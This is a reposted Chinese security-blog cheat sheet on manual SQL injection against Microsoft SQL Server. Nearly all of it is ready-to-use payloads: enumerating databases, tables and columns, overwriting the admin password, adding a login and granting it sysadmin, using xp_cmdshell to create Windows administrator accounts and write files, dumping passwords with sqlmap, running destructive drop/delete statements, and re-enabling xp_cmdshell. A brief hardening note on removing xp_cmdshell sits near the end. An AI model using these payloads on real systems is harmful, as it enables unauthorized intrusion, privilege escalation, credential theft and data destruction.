[干货]手工注入mssqlserver从基础到高级操作

admin 2022年3月1日23:33:06评论57 views字数 1599阅读5分19秒阅读模式

文章来自渗透云笔记交流群

管理;Tone


手工注mssqlserver

1.判断注入点:

'

and 1=1 返回正常

and 1=2 返回错误

 

2.判断版本号:nt5.2:win2003 nt6.1:win7

winver

and @@version>0

3.判断当前连接的数据库用户and user >0

4.判断当前连接数据库:

and db_name()>0

5.判断其它库:修改dbid值 and (select name from master.dbo.sysdatabases where dbid=6)>0

6.判断表名:and (select top 1 name from sysobjects where xtype='u' and status>0 )>0

7.判断其它名:

and name not in('t_jiaozhu')

加到第6条语句最后一个括号前:

and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('t_jiaozhu'))>0

8.判断列名:

and (select Top 1 col_name(object_id('admin'),1) from sysobjects)>0

9.判断值:

and (select username from admin)>0

10.修改密码:

;update article.dbo.admin set password='bbbbbb' where username='admin';--

 

mssqlserver高级操作

一。数据库提权:sa==system>administrator

1.新建数据库用户:

;exec master..sp_addlogin hyq,888888;--

2.查看数据库用户:

程序-mssqlserver--企业管理器--安全性--登录:刷新

3.提权:hyq用户加入sysadmin组

;exec master..sp_addsrvrolemember hyq,sysadmin;--

4.获取sa口令:

sqlmap.py -u "注入点" --passwords

利用漏洞:

数据库的连接工具:navicat for mssql

查询分析器:

delete from tbname

drop database dbname

drop tablename tbname

二。操作系统提权

1.新建系统用户:

;exec master..xp_cmdshell 'net user txl1988 888888 /add'

2.提权:

;exec master..xp_cmdshell 'net localgroup administrators txl1988 /add'

漏洞利用:

1.远程桌面:mstsc

2.ipc空连接:

net use \ipipc$

输入用户名,密码

net use k: \ipc$

三。向系统写文件

;exec xp_cmdshell 'echo aaaa>c:a.txt'

 

a.bat

:1

start iexplore.exe

goto 1

 

四。防护xp_cmdshell

1.删除:xplog70.dll

;exec master..sp_dropextendedproc 'xp_cmdshell'

2.恢复:

;exec master..sp_addextendedproc 'xp_cmdshell','xplog70.dll'

 

sqlserver2005及以上版本

恢复:

exec sp_configure 'show advanced options',1;

reconfigure;

exec sp_configure 'xp_cmdshell',1;

reconfigure

终极防护:防未公布漏洞:基于cmdshell反弹

%system%system32cmd.exe 删除所有默认权限,添加administrator:完全控制

 

 

赶快来分享关注吖

[干货]手工注入mssqlserver从基础到高级操作


本文始发于微信公众号(渗透云笔记):[干货]手工注入mssqlserver从基础到高级操作

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月1日23:33:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [干货]手工注入mssqlserver从基础到高级操作https://cn-sec.com/archives/494171.html

发表评论

匿名网友 填写信息